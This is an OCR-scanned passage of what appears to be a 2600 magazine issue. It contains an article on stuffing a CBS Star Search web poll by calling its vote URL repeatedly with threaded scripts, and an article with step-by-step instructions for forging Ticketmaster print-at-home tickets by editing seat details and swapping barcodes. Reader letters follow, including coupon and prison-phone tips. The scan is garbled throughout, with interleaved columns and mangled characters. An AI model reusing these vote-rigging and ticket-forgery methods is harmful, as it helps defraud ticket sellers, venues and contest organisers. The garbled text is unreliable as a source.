mean you cannot vote for monkey-juggler # 1  rejects mult ip le votes from the same I P  address 
if monkey-juggler #2 has not had his or her fair so they just  decided not to waste their t ime 
shot at d isplaying their monkey juggling sk i l l s .  with me .  Regardless ,  after this amount of  t ime,  
So after a l l  of the contestants are done , they season four was almost over and the finale was 
open the pol l s  and al low people to connect and upon us and I could verify my theories discov-
vote . And vote I did ! ered at the end of season three . 

The pol l  i s  very straightforward . Each con- The prize for the w inner of this show was 
test has a number from I to 5: 5 being the best $ \ 00 ,000 . Obviously they would  have a spe­
and I being the worst .  You must vote for a l l  c ia l  voting system for someth ing this serious , 
three contestants and cl ick on the button to cast right? Wrong ! A l i tt le research revealed that 
your vote . OK , I voted , but I think I may have the system they use for thi s  prime time show 
made a mistake .  I want to go back  and look at worth hundreds of thousands of dol lars was the 
i t  again .  Wel l ,  the page al lows me to vote same engine that they used for every other pol l 
agai n !  I am not l im i ted to one vote . I looked at on the s i te .  A l itt le trial  and error and URL ma­
the rules of Star Search and I didn't see any- nipulation revealed that they use the same 
thing that to ld me that I cou ld only vote once . script for the " what is your favorite episode of 
And s ince it gave me a b lank  form again ,  I as- Cheers " pol l .  It was l ike some common PHP 
sumed you were al lowed to vote more than Content Management System . The only thing 
once . American Idol lets you call as many that separates them i s  the "evenCid" .  
t imes as you want , so th i s  must be the same . The " pol l "  engine receives parameters 
Wel l ,  I made my choices again but this t ime in- passed i nto to i t  from the call ing page . I t  looks 
stead of c l icking on the button to submit my like i t  was written to be overloaded . I presume 
vote , I decided to look at the code to see if  they th i s  after look ing at other pol l s  on the s i te that 
had some way of rejecting a second vote from use that same engine .  You can pass named pa­
someone . Was a flag set that kept me from vot- rameters to i t  (evencid ,  q I ,  q2, etc .) or posi­
ing again or kept my vote from being counted tional parameters to i t  in some cases (results 
again? Maybe it  was sent to the "garbage fi le "  page ID , results window coordinates , etc . ) .  I n  
if I voted more than once from my  I P  address .  the case of Star Search , i t  was a very straight­
Either way, what I found was very interest ing. forward URL that was created with a very sim­
So interesting in  fact ,  that I sent an emai l to pIe parameter string . The code below is a 

'--.P if 9 e " ,,--------------------- r E. 0 0  ,., if 9 if Z i n e 



sn ippet of the code from the Star Search page 
that cal l s  the pol l .  I only inc luded the relevant 
part below. 

evenUd i s  the primary key to the database . I t  
tel l s  the engine where to save the data and 
what type of data to expect .  If you go to the 

< ! - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >  
< ! - - b e g i n  code ( Generic p a g e  HTML w a s  above t h i s ) - - >  
< 1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >  

« w r ipt l anguage = " j av a s c r ipt " > 
function goVote ( ) {  
var v I D l  = 0 ;  
var v I D 2  = 0 ;  
var v I D 3  = O J  
var vot e l  document . voteForm . q l ;  
var vote2 = document . voteForm . q2 ;  
var vote3 = document . voteForm . q 3 ;  

for ( var i = 0 ;  i < vote l . length ; i ++ ) {  
i f  ( vote l [ i j . checked ) { v I D l  = vot e l [ i j . va l ue } ; }  

for ( var i = 0 ;  i < vote l . length ; i ++ ) { 
i f  ( vote2 [ i j . c h e c ked ) { v I D 2  = vote2 [ i j . va l ue } ; }  

for ( var i = 0 ;  i < vote l . length ; i ++ ) {  
i f  ( vote3 [ i j . checked ) { v I D 3  = vote3 [ i j . va l ue } ; }  

i f  ( v I O l  = =  0 I I  v I 0 2  == 0 I I  v I 0 3  == 0 )  { 
alert ( ' You mu s t  vote for every contestant ' ) ; }  
e l s e  ( document . location = 

' ' http : / / po l l . cb s . com/po l l ? event_id= 1 8 0 0 2 & q l = '' +v I D l + ' ' & q 2 = " +V I D 2 + " & q 3 = " +v I D 3 ; 
} 

< 1 - - - - >  
< ! - - end c o d e  ( the r e s t  o f  the page HTML was b e l ow t h i s ) - - > 
< 1 - -

Now the  first th ing  you  see i s  that the  code 
is obvious ly javascr ipt .  Thi s  runs  on the c l ient 
s ide and therefore the code i s  del ivered to the 
c lient imbedded in the HTM L  of the page . Th i s  
i s  what you are see ing above with the  i rrele­
vant HTML removed . I also cleaned up their 
code for them to make i t  more readable .  You 
still cannot see everything that is needed to 
make this script work but you can see enough 
to see how it works .  The "document . locat ion"  
i s  the URL that cal l s  to the pol l engine . The 
javascript i s  used to assign values to the vari ­
ables that are passed to said engine .  The user 
will cl ick on a number from I to 5 for contes­
tant # 1  as described earl ier and that amount is 
assigned to the working storage variab le cal led 
" v ID I " .  This  i s  done for the other two contes­
tants the same way. These three variables con­
tain the values of the votes that were chosen . 
These values are then passed to the variables 
that are used by the actual pol l engine that i s  
being cal led . The value o f  " v ID  I "  for example , 
i s  assigned to "q I "  in the "document . location " 
string along w ith "v ID2"  to "q2 " ,  and " vID3 " 
to "q3 " .  The pol l  takes these values and adds 
them to the results database . The question i s :  
Which database? 

The other parameter or fieldname in  the 
"document . location " URL is cal led "evenCid" 
which I mentioned briefly above .  Thi s  

- - >  

page early ,  there has been no key ass igned so 
you cannot vote for a pol l that does not ex is t .  
The only form of security for the Star Search 
voting system is the fact that the evenUd i s  
not made avai l able unt i l  the contestants are fin­
i shed performing !  I even tried a l itt le guess­
work to try and predict the evenUd that would 
be used . This ach ieved vary ing level s of suc­
cess .  S ince the pol l system is u sed for other 
th ings in the system,  i t  d id not do a s imple in­
crement of the va lue for evenCid .  I watched 
the show unt i l  the voting was opened and once 
the key was assigned , I could  then see i t  in  the 
code . The code above was copied after the 
evenCid was made avai lable . 

OK,  what does this a l l  mean? I t  means that 
I now have the exact URL to make the function 
cal l for a vote to the pol l  system . So what? 
Wel l ,  that means I can paste this d i rect URL 
into the browser and basical ly  call that pol l  
function over and over b y  holding down enter 
and v i s i t ing it as many t imes as I can during 
that commerc ial break ! Without going into de­
tai l ,  I came up with about 1 000 . You don't have 
to wait for the results page to regi ster the vote , 
just a cal l to the function wi l l  do i t !  I t  w i l l  work 
by sending data only to submit your vote . Re­
ceiving data or a verification message is not 
necessary. There does not appear to be any re­
turn val idation . 
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So there you go ! You have figured out a 
way to vote for your favorite contestant hun­
dreds or thousands of t imes (depending on 
your bandwidth ) .  But wait ,  surely a thousand 
votes cannot affect the outcome , can i t? Proba­
bly not , but what if you had a bunch of other 
people doing it at the same t ime? And each 
vote , mathematical ly ,  can perform trip le-duty 
due to the nature of the system . Not only are 
you g iv ing a h igh score to the contestant you 
l ike ,  you are also send ing low scores to the 
other contestants ! Talk about k i l l ing two b irds 
with one stone ! 1 000 votes for contestant I is 
also 1 000 votes against contestants 2 and 3 !  
3000 votes for the price of 1 000 ! That's bri l ­
l iant design a t  work right there ! 

We st ill aren't done.  Even the effects of 
3000 votes are probably not enough to make 
any sort of l arge impact . Cutt ing and past ing 
and hold ing down the enter key i s  just so low­
tech .  I am sure the readers have already spotted 
a better way to make th is  more effect ive . I t ' s  
script t ime ! Now, I am not going to g ive the 
code for a script here . It is very s impl i st ic and , 
to be honest, I st i l l  took the lazy way out.  We 
hard-coded the evenUd into a script when the 
more prec i se and flex ible way would have 
been to parse through the HTML and look for 
the string "event_id=" and pul l  the evenCid 
out . That would make the script reusable . But 
that was not my goal with th is  test . I just 
wanted to see if i t  wou ld work . I f  one person 
s i tt ing at a computer holding the enter key can 
send around 1 000 requests , imag ine what 
would happen if  someone opened up 50 
threads  and a never-end ing loop of function 
cal ls to the des i red URL? That i s  st i l l  just from 
one person . What if you then passed that script 

on to your friends to do th i s  at the same t ime 
from thei r  machines? What if we went beyond 
friends and put it into a cgi script or a perl 
script and posted i t  on websi tes around the 
world? Pretty scary, huh? So we have 50 
threads generat ing 1 000 h i ts each (during the 
voting w indow) mult ipl ied by the number of 
users runn ing the scripts . . .  account for the 
three-votes-for-the-price-of-one factor . . .  carry 
the one . . .  wel l ,  you can do the math . Suffice it 
to say that th i s  would most certainly affect the 

outcome of the show. 
CBS and Star Search did do one thing right .  

They covered themselves legall y  wi th thi s  d i s­
c la imer that I am sure thei r  l awyers made them 
i nclude .  It states that , "CBS reserves all r ights 
in  connection w ith Star Search and the Star 
Search onl i ne vot ing process , including , w ith­
out l i mitat ion , the right to d isregard any or a l l  

onl i ne votes i n  the event of technical compl i ­
cat ions . "  Th i s  w i l l  a l low them to  reject any i n ­
val id votes .  The real question i s  that after 
see ing thei r  lack of security and thei r  l ack of 
contact people ,  what makes us think they 
would be able to know and recogni ze inva l id  
votes? If  they had th i s  k ind of foresight,  the 

vu lnerab i l ity wouldn't ex i st in the system in  
the  first p lace . 

ShoutZ: vooduhal for helping with the last 
minute surprise "testing " and proof of concept 
script.  To Epiphany and Johny_lightning ,l(Jr 
the NYC hookups for zerODb and me . A ll of my 
friends on the global "interweb " including 
those crazy phreaks on default radio . My 
homeboys Acidu.\' and lucky225, and as al­

ways , the Digital DawgPound. 

H acking tick�tmaster 
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by battery 

battery @ chicago2600@ 2600.net 

Ticketmaster, the company that charges in­

sane fees in  exchange for pr in t ing t ickets and 

dropp ing them in the mail to you , recently 

started a l lowing customers to print the i r  own 

t ickets . The new system i s  called TicketFast . It 

allows the customer to buy t ickets for event on 

of the t ickets are emai led to the customer, who 

prints out the t ickets and goes to the event . 

The f i rst quest ion we need to ask is s imple . 

What is the control mechan i sm that Ticket­
master is using to keep me from printing the 

t ickets more then once? The answer i s ,  there 

isn ' t  one . You can print as many copies of the 

t ickets as you want .  However, there i s  a s imple 

barcode on the bottom of the printed page . � Ticketmaster webs i te ,  then d i g ital images 
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When you go to an event that uses TicketFast , 
your t icket i s  scanned when you enter the 
venue . The venues appear to be us ing custom 
monochrome PalmOS devices . They have a 
barcode scanner and are w irelessly connected 
to a t icket database . When your t icket i s  
scanned i t  i s  marked i n  the database a s  " used . "  
Therefore , anyone wi th a second copy of your 
t icket (and the same barcode) would be re­
fused entry because someone had already been 
admitted w i th that un ique t icket 's barcode .  

Now let ' s get  i nto how th i s  system can be 
abused . The t icket i mages are sent  v i a  emai l  as 
PDF fi les .  They are very eas i l y  photoshopped . 
I t  i s  only a matter of m inutes to change the let­
ter ing on the t ickets to change sections , rows ,  
seats , or any  other location information . The 
person at the door of the venue w i l l  scan your 
t icket's barcode to verify that i t  i s  a val id  
t i cket .  They usual l y  don ' t  even look at  the  seat 
information (th i s  does probably  vary by 
venue) . Th i s  means that i n  order to get i nto the 
venue ,  you are going to have to have a un ique 
barcode that has not been used . 

I t  has been my experience that many con­
certs charge d ifferent prices for d ifferent seat s ,  
usual ly  based on locat ion , d i stance from the 
stage , seats vs. lawn , etc . Th i s  is espec ia l ly  
common in  outdoor amph i theaters where 
there i s  usual ly  an area w i th seats c lose to the 
stage and open lawn areas near the rear. The 
t ickets for the reserved seats are usual ly more 
expens ive than the l awn t ickets . Many t imes 
ushers request to see your ticket before al low­
ing you to enter a section 's  seats , espec ia l ly  
ones close to  the  stage . Th i s  keeps the  people 
who bought the cheaper l awn t ickets out on 
the l awn and not in the seat ing area .  

There are two major explo i ts I can see 
work ing here . F irst would be the access ex­
plo i t .  These explo i ts probably  work the best  at  
events that  are not sold out . Let ' s  say a group 
of four people are going to a concert . You have 
one order a t i cket c lose to the stage (usual ly at 
a h igh pr ice) us ing TicketFast and the other 
three buy the cheapest seats ava i l ab le .  When 
the t ickets are emai led to you , you create four 
copies of the expens i ve t icket and use a 
graph ic  editor l i ke Photoshop to rep lace the 
barcodes on the three copies of the expens ive 
t icket w i th the barcodes from the cheap t ick­
ets . When you're done you should have four 
cop ies of the expens ive t icket but each w i l l  
have a unique barcode . 

This  a l lows you to get i nto the venue with a 
va l id  t icket accord ing to the database , and al­
lows you to have t ickets that appear to be in  

the  c lose sect ion , effect ively fool i ng ushers 

who w i l l  on ly v i sua l ly  verify your t ickets 

when entering the seat ing sect ion . It would 

also be w i se to alter the three copies to have 

d ifferent  seat numbers , just  i n  case an obser­

vant usher notices that the four of you have the 

same exact seat number. 

The b iggest benefit for th i s  exp lo i t  would 

be for general admiss ion concerts that have no 

seats on the floor, but seats around the venue 

(th ink  an indoor stad ium or sports arena) . At 

many rock concerts I 've been to that have gen­

eral admiss ion floor t ickets , usual l y  you have 

to get a wri stband to get to the floor. When you 

get i nto the venue there is usual l y  a table that 

w i l l  g ive a wristband to people  hold ing "floor" 

t ickets . As long as the venue does not scan 

your t icket when you get your wri stband ,  you 

are set ! I n  fact ,  at a concert I went to recent ly,  

my t icket was stamped when I was g i ven a 

wri stband . The idea is that you cannot get a 

second wri stband with the same t icket but you 

can make as many copies of your t icket as you 

want to get as many people on the floor as you 

w i sh .  However, if  your t icket 's barcode is 

scanned when you get your wri stband ,  you are 

out of luck because your barcode w i l l  only be 

va l id once , l i ke it was at the door. 

Maybe you would l i ke to have several 

copies of your t icket with you at the event . Or 

maybe you would l ike to have t ickets in  sev­

eral sect ions - so you can wander between sec­

t ions .  With TicketFast , this i s  now poss ib le .  

So what can Ticketmaster do to  stop these 

exploi ts? Here 's  the interest ing part : I t  w i l l  be 

surpri s ingly d ifficul t  because most venues are 

independently operated . Each w i l l  have po l i ­

c i e s  and rules that w i l l  vary greatly .  Because 

of th i s  there i s  no s imple way to control the 

procedures be ing used at every venue . Also ,  in 

order to stop the barcode swapping tri ck ,  pa­

trons w i l l  have to have the i r  t ickets scanned 

when they enter and leave thei r  seats . The 

t icket database wou ld have to track who is in 

the i r  seats and when they leave for snacks or 

to go to the bathroom, then reauthorize that 

t icket for reentry. Log i st ica l ly th i s  would be a 

n ightmare , not to mention qu i te Orwe l l ian .  

The u l t i mate solut ion i s  for Ticketmaster to 

abandon the TicketNow system or completely 

overhaul i ts control devices . Unti l  that hap­

pens i t  w i l l  be r ipe for explo i t .  

bJ i n t e r r D D Ij - r D D S ------------------- p a g e  



Continued from Page 39 
Responses 

Dear 2600: 
I l i ve in Austral ia  and recently picked up my very first 

2600 ( 2 1 : 2 ) .  I must say that one part icular art ic le has got­
ten me very worked up. On page 22, Richard wrote nearly 
a page and a half about the "g lobal date format" of yyyy­
mm-dd and how revolut ionary and forward th inking i t  i s .  
As I have used e i ther that date format o r  (dare I suggest 
yet another logical method of writing the date) dd-mm­
yyyy my ent ire l i fe ,  I tind i t  very d ifficu l t  to comprehend 
how someone could get so excited about the s imple mat­
ter of putt ing  the year at the front.  I seriously hope the au­
thor doesn't  start th inking about the differences between 
l i tt le endian and big end ian date formats - he may actual l y  
explode with  exci tement.  

Why am I even concerned about th is? I guess for my 
fi rst copy of 2600 (which I thought was one of the last 
few bastions of anti -authoritarian thought) I have been 
devastated to see that i t  has degenerated in to page-and-a­
half- long art icles on things that the rest of the world takes 
for granted . 

I seriously hope that in the next magazine there w i l l  
n o t  b e  a n  art ic le  on th is  fantastic n e w  w a y  o f  measuring 
d istance cal led "the metric system " involv ing a base \ 0  
counting system and fantastic words l i ke " meter," "cen­
t imeter," and " k i lometer. " 

Come on America ! The rest of the world is charging 
ahead into the 21  st  century and 2600 i s  redi scovering 
how to write the date ! 

WhiteHat 
We 're still workin,; on the metric system article .  

Dear 2 600: 
In response to Sairy 's  art ic le " A Lesson on Trust" in 

2 1  : 2 .  Don't let you be di scouraged by the unfortunate 
things that can happen . In the way of knowledge there i s  
always a price t o  pay, espec ial ly w h e n  other people get 
invol ved . Be carefu l ,  be alert ,  and use the experience to 
never fal l  again in the same hole . Look forward and 
happy hack ! 

#incl ude <'-Iove_th is_mag .h> 
#incl ude <Keep_up_the�ood_work .h> 

Osi44 
Buenos Aires 

Dear 2600: 
In response to No Name's letter in 2 1 : 3 about the pro­

te in  bars , what you did was perfectly legal . Furthermore , 
the store didn ' t  lose out as much as you th ink . The way i t  
works i s  that t h e  store pays s o  much per bar wholesale . 
Then they mark the price up x percent,  usual ly between 
60 to 1 00 percent .  So your $2 .00 bar only cost the store 
about 10 to 1 5  cents if that ! 

Assuming that the coupons were manufacturer (usu­
al ly  they wi l l  be l abeled next to the expiration date at the 
top ) ,  the store wi l l  send the coupons to the manufacturer 
and the man ufacturer w i l l  cut  the store a huge check for 
the total amount of coupons they recei ved . So in al l ,  if the 
store i s  out of anyth ing ,  i t 's  prote in  bars . They sti l l  get 
their  proti t .  The manufacturer i s  the one paying for i t  a l l . 
If it were a store coupon on the other hand, you would see 
the "one per customer per v i s i t "  and whatnot . 

would probably do the same th ing .  As a former cash ier, I 
can tel l  you that such deals are rare but not uncommon . 
Once in a blue moon , it w i ll put the regi ster at a negative 
balance . Unfortunately if i t  puts  the balance at a negative 
then they wil l  not g ive any cash back . 

Happy 20th and whatnot . Keep up the great work . 
N @ vi 

Dear 2600: 
I qu i te enjoyed the art ic le  " Laptop Security " in  2 1  : 3 .  

One thing the author describes i s  how t o  set a B I OS-type 
password on Mac by booting into Open Firmware . I 
thought I would mention that Apple has provided a sim­
ple GUI to al low sett ing the password w i thout having to 
boot into Open Firmware . The ut i l ity can be found here :  
http://www.apple .com/support/downloads/opentirmware 
.. password .html , or just  search for " firmware password " 
on the Apple support s i te .  

BuffaloB 

Dear 2 600: 
I 'd l i ke to start off by saying all of you guys at 2600 

do an amazing job. I'm p leased with  every issue and I al­
ways learn something new. This letter i s  in response to an 
art ic le  i n  issue 2 1 : 3 called "Hacking Soda M achines . "  I 
read the art ic le and tried it on the soda machines at my 
h igh schoo l .  The debug menu was a lot different than the 
author of the art ic le has encountered.  After I pressed 4-2-
3- I on the vert ical dial a message came up on the LCD 
display that said "SALE" and I pressed down and i t  said 
" S LT I "  and I pressed down again and i t  said " S LT 2 "  and 
so on until "SLT 1 0 "  and then i t  started over at " S LT I "  
aga i n .  Rather than say ing things l ike " S ALES " and 
"STOC K "  i t  was more confusing and a l l  the slots had an 
outrageously large number after I c l icked on one of the 
slots so I don't think i t  was the amount i n  stock or amount 
of money i n  that machine .  

oZ 

Dear 2 600: 
In 2 1 : 3 ,  you mentioned that if enough i nterest was 

shown for the posters that you would consider printing 
some . I 'm here to voice my support for them . The mosaic 
idea seems l i ke a winner to me.  I would detin itely buy a 
poster. 

Keep up the great magazi ne ( lots of my wireless and 
other security info came from you guys) . 

H 

Dear 2 600: 
I enjoyed akaak's art ic le on fc .exe - i t  is one of the 

few art ic les I understand i n  this issue . The artic le also re­
m inded me that i n  any enterprise the dev i l  i s  in the deta i l s  
and i n  the  th ings  we forget. 

Years ago a friend and I p layed w i th PC Magazine 's 
DOS 5 .0 Vernam encryption u t i l i ty, appl ied to Word ti les .  
We wanted to secure our  intel lectual property against i n ­
dustrial espionage . T h e  uti l i ty appears to provide un­
breakable security because there i s  no l i m i t  to the length 
of the key assigned or the characters used in it. B ut we 
fai led to take into account the standard header that Word 
put on every fi l e .  Norton's b i t  editor and a tear-off pad 
would have been a more fru i tfu l approach to try. 

Paul 

Dear 2600: 
I'm writ ing in  response to Brian the Fist's letter in 

2 I : 3 .  I ' ve been reading th i s o magazine s ince summer of 

As a side note , i f  you look rea l ly  closely at the ti ne­
print under the " dealer" section , most t i mes you w i l l  fi nd 
the address they w i l l  send i t  to . As for the self scanner �em ,  it's not necessari ly a bug in  the syste m .  A cashier 
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th is  year, hut I 've heen mess ing around with computers 
(and people's m i nds) s ince 1 was l i t t le ,  and ahandoned 
hu i ld ings have always been cool in my hooks .  

Rememher that mov ie .  Mickey Blue E.ves ? The s i tua­
t ion you've told us al l  ahout on eBay resembles the situa­
t ion in  the art auction - the Matia arranges for one man to 
buy a worth less paint ing for an exorhitant amount of 
money and thus pay off a deht . This scheme can a lso he 
used to launder money. If I understand correctly, the 
buyer could be us ing an anonymous ( 'n Pay Pal account 
i n to which he has added ( w i th cash) money to he spent on 
these auctions .  

Dagfari 

Dcar 2600: 

Your recent cover for 2 1 : 3 h ighly offends me. Whi le  I 
can't  tel l  if the soldier is from the People's L iheration 
Army from Mao's era or a soldier of the Democratic Peo­
ple's Republ ic  of Korea, seeing how their poster draw ing 
s ty le  i s  very s i m i lar, nonetheless i t  i s  certa in ly  meant to  
defame the accompl ishments of Chinese andlor Korean 
social i s m .  I 've  always enjoyed reading 2{)()O Maliazine 
and agreed with your fight against the DMCA . H owever 
i t  seems l i ke you have overstepped your houndaries of 
knowledge pol it ical ly .  This cover i s  an insu l t  to progres­
s ive forces around the worl d .  All that you know ahout the 
accompli shments of Chi nese and Korean socia l i sm is 
what you might see on NBC or CNN . You Liherals can 
hardly understand what "Tota l i tarian ism!' and " Dictator­
sh ip"  real ly  mean s ,  but that's besides the point .  I t  i s  s im­
ply unfair  to insu l t  the  h i story of an ent ire country which 
has struggled against U .S .  and Japanese imperial i s m ,  pro­
v ided free heal th care , hous ing ,  food, and education un­
der capital ist  encirclement and threat of capital  ist 
restoration . As a Vene/uelan c i t i/,en , a revol ut ionary par­
ticipat ing in the Bol ivarian Revolut ion , we recogn i ze that 
solidarity i s  key to implementing our soc ia l i st reforms ,  
reaching out t o  fraternal soc ia l i s t  stutes i n  the world sys­
tem , and embracing the accompl i shments of Revolut ion 
wherever i t  is .  I always read your magazine for the tech­
n i cal  information and depth of knowledge authors show, 
but  I am now dismayed at the overtly counterrevolution­
ary and i nsult ing i m age on the cover, which d imin i shes 
the struggle of m i l l ions to overthrow bureaucrat-capital­
i s m ,  Japanese i mperial ism,  and estab l i sh a soc ia l i st state . 

Evan 
This is how you hui/d solit/uritv " By lookillg tilT 

thin/is 10 gel of Tended by ? If we wanl 10 illSuil "C!zillese 

andlor Korean socia/ism, II  �ve ?l do if in a much more di­

rectfashion . Until then , HY suggest hecmning acquainted 

with fhe concepts (�l parody and llnachronism . Inch/cn-
11I11y, we 're pleased us pUllch Ihol alia 20 reaTS we 're /i­

nuils' heen hil wilh Ihe lahel of mUl/lerrno/utioll"r\'. 

We \'e pretty Illuch heen accllsed (�lC"verythillg now. 

Dear 2 600: 
The " Fight Spam With lavaScript" art ic le  by arse i n  

2 1 : 3 hrought up some good methods for lighting emai l  
addre" harvesters . However the JavaSeript  methods he 
mentioned would not work if an email  harvester used In­
ternet Explorer to renoer pages and then extracted emai l  
addresses from the rendered pages . A more defi n ite way 
to l ight harvesters would he to repl ace the at symhol « (iil ) 
ill an email  address with an i mage of an at symbo l .  The 
hots would never real ize the text with an i mage repre­
sented an email address .  

I started a Sourcei(lrge project cal led SandTrap a few 
months back in order to help webmasters tight spam bots . 
1 re leased a perl script there (named SandTrap also) that 
i n volves plac ing empty l inks  on pages for harvester hots 
to fol low and then generating large l i sts of fake email ad­
dresses to c lutter the harvester's emai l  database whi le  
blocking the harvester from access ing every other d i rec­
tory on the website's server. Hopefu l ly  the trend w i l l  
catch on a n d  other webmasters w i l l  a l s o  take preventive 
measures to stop spam bots from harvest ing addresses i n  
t h e  first p lace . 

tutwabee 

Dear 2600: 

I was shocked to read Zouriek 's  art ic le in 2 1 : 3 c la im­
ing that  L inux  has been approved for federal use . Nothing 
can be further from the truth . Zourick i s  bas ing h i s  theory 
on a fal se assumption ,  dcspi te the numerous disclai mers 
from the U N I X  STIG itself and the N I ST websi te .  The 
N I ST wehsite where the STlGs are located contains a d is­
c la imer that  the STlGs are /101 an endorsement for opera­
tion nor that the operating systems l i sted are federal ly  
approved . 

Those " i n  the Communiti' aren ' t  necessari ly those 
that are l I i n  the Bus iness . "  Those that have spent any 
amount of  t imc work ing on Federal , DoD, or other gov­
ernment networks know that STIGs mean nothing and 
carry no regulatory weight at all as they are merely con­
figuration recommendations for a given platform . What 
real ly matters i s  a Cert ificate To Operate (CTO),  and 
whether the software i s  l i sted on that service's l i st of ap­
proved software .  A system having a DISA CTO may not 
necessari ly be approved for use on an Air Force network , 
so would not appear on the AFs l i st of approved soft­
ware . STIGs carry no weight as they arc not rules or reg­
ulat ions hut merely  a set of gu idel i nes as to what cou ld he 
considered a security basel ine .  To the best of my knowl­
edge, current ly there are 1 10 CTOs for any d is tro of L i n u x ,  
although some m a y  corne soon . CTOs guarantee that the 
system in question has undergone the whole DITSCAP 
process ,  which i ncl udes a lengthy documentation process 
deta i l ing the purpose , instal lat ion , conliguralion , and ad­
m i n i stration of a part icular piece of software . STIGs may 
inc lude text from a CTO or SSAA,  hut STlGs are not 
CTOs.  

I f  he bothered to actual ly read the UNIX STl G ,  he 
would have seen that  1 )  D l S A  i s  not say ing that  Linux i s  
approved for network usc,  a n d  2)  despite several L i n u x  
distros being mentioned , they arc mentioned because the 
STlC; i s  based on a RedHat d i stribution , and the proce­
dure for any non-RedHat system may be different .  I n  the 
near future , L inux may be approved ror federal network 
use but i n  all l i ke l i hood it's going to be RedHat,  SuSE,  or 
hoth . 'I'll date , those are the only two di stros that have 
been CC evaluated , and then only i n  certain vers ions 
( R H EL .l and SuSE Enterprise Server v X  w i th patches ) .  
Surpri s ingly,  hoth eval uated versions have EAL assur­
ance levels lower than Wi ndows 2000 . Furthermore . 
N I ST and DISA aren ' t  naive and real i/.e that despite 
Linux not having a eTO or appearing on any EPL yet, 
agencies wil l  be using Linux anyway. I t ' s  not approved 
and could u l t i mately cost someone their job if  they get 
caught runn ing  non-approved software , but s i nce itls out 
there , DISA and N I ST arc going to help make sure that 
the holes arc closed . 
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It would he a very bad career move for any federal 
sy:-.tem adm i n i strator to take Zourick's adv ice on th i s  mat­
ter. 

Cabal Agent # 1 

Dear 2600: 
In response to Systc m X :  As an i nd iv idual  wi th  some 

experience in the DoC , 1 can sympath ilOe w i th you . How­
ever,  1 was at a low-security fac i l i ty and worked on the 
mai ntenance of  ollr region 's  phones .  and I can te l l  you 
w i th rather deli n i te certa inty that due to the c losed loop 
nature of the system and the physical  restra ints  of  the in ­
ternal  network ing ,  tha t  the S I PS (S tate I nmate Phonc Sys­
tcm) system i s  a l l  but foo lprooi'. 

You should be ahle to lind a serv ice that a l lows local 
red i rection o f  y o u r  cal l s  a n d  that w i l l  s a v e  substant ia l ly  
OJl your  b i l l .  Keep i n  m i nd the  system i s  heav i l y  mon i ­
tored amI .  i f  i t  i s  t i med ,  dur ing the ten m i nute not i f i cation 
the route i �  traced . I t  has l i m ited conference cal l  detection 
capah i l i t i es .  Ju st make slire you aren ' t  swi tch ing around 
during the cal l  - dial d i rect ly through the serv ice . 

Unfortunate ly ,  the s i mplest ,',ystcllls arc  often the 
most secure . C'ood luck to you � 

Ellomdian 

Gratitude 

Dear 26()(): 
I just rece i ved my sh ipment of  every back i"ue of 

261)(), and I just wanted to thank you guys .  I ' ve heen 
mean i ng to order these for such a long time and I fi na l ly  
got  the cash  together to get  \:111 . Now I have  a ton  of stuff 
to read and i n format ion to ahsorh . I coukln ' t  he happier. 
Aga i n ,  thank'. for cont inu ing  to puhl i sh  a magazine that 
cont inues to he a source or information to those of us who 
th ink  a l i t t le d i llcrent ly .  Kecp i t  u p !  

Alexis 
fI 's gl'cal lo kllOlt, Ihal (�fICr 2{) YC(/I'.\ Ih('se issues sl;/1 

calise a lhri/l. Frightcl/illg 100 . 

Dear 26()(): 
I am a new reader and I am on ly  I J years of  age . M y  

m o m  doesn ' t  l i ke hackers just hecause of  what they are a l l  
p u t  up t o  h e  b y  t h e  p u b l i c  e y e .  I t h ink  t h a t  hackers are just  
a fe\\' Americans who sec past  the media and a l l  i ts  l ies .  I 
would rea l l y  l i ke to thank my uncle li )r  g i v ing me my l i rst 
copy. I n  20 : 2  I l i ked the art ic le  on coupon �cam m i n g .  
Ever s i nce I read that I h a v e  u s e d  i t  a l l  t h e  t ime .  J ' m  sav­
ing money to huy your amazing magazine .  Thanks a 
hunch for a great th ing to read anywhere. 

A little kid 
\Ni:' 11(1)(' _vou 're /101 using thaI ll'clinique ;n order 10 

sarc lllOll(r 10 hu)' 0111' l1Iagtr::.il /c .  III fact,  you rcally 
shollldll 't he lIs;nJ..: il (// a/l.  nut d 's ilJljJor1all l 10 knOll" how 
fhe sysfems �vork alld what Ihl';r weak PO;IlIS arc .  

Info Needed 

Dear 26()(): 
I would l i ke to appeal to the 26()(} readersh ip  to pro­

vide more i n format ion ahout R P I D  and R P I D  hack ing .  I 
am now conv inced that RFID has the potent ia l  to he one 
of  the next hattlegrounds of kchnology and l i herty. I rec­
ommend everyone read up on the human i m plants ap­
proved hy the FDA for the company Dig ital Angel 
( N ASDAQ:DOC ) as we l l  as in Mex ico .  The parent COIl\­
pany of  DOC i s  Appl ied Dig i ta l  ( N ASDAQ:ADS X ) .  
(Juogle o r  Yahoo Finance arc good p l aces t o  slart read i n g .  

C i t i zens of  thc U S A .  y o u  are aware that n e w  passports 
w i l l  he coming  equ i pped wi th  R F I D  ch ips ,  aren ' t  you '? 

One topic for an in terest i ng  2(j()() art ic le  wou l d  be to 
exp lore the R F I D  b locker tags that have heen developed 
by RSA Security.  There are a nu mher of wh ite papers on 
the ir  website . I t  i s  not c lear to me whether these h locker 
tags are genera l l y  avai lah le or even " approvcd . "  B l ocker 
tags w i l l  he a necess i ty i n  the not too d i stant future . I am 
also cur ious i f  any studies have heen done i nto effect ive ly  
k i l l i ng  or short-c i rcu i t ing  an RFID ch ip  remote ly .  Is  any­
one i n  2600 land know ledgeable on the subject , or dr iven 
to d ig  deeper i nto hack ing RFID"  (, "mon fo l k s ,  t h i s  i s  se­
nous .  

jjr 

Dear 2600: 
It\ funny,  you ask any Iypieal  person about e lectroll ic  

vot ing mach ines .  and they ' l l  l i ke ly  say  someth ing l i ke 
1 I0oh ! Wow !  Those lle\V e-vot ing mach i nes are going to 
solve a l l  our prohlems . "  Then you ask anyone wi th  rea­
sonable knowledge in the computer industry and they ' l l  
l i ke ly  t e l l  y o u  those e lectron ic  vot ing mach ines ,  espe­
c i a l l y  the ones that have no paper trai l ,  are the worst th ing  
they  could poss ib ly  usc .  E-vot ing  machines may solve the  
prohlem w ith hang ing  ehads , but they  offer a whole new 
se t  of prob lems ,  problems tha t  can be a lot more serious 
than a couplc of m i scounted voles . 

In a story I saw on TV the other day, they were ta lk­
ing  ahout someone bc ing able to crack the secur i ty Oil 
these mach ines by mere ly  attach ing  a keyboard and pick­
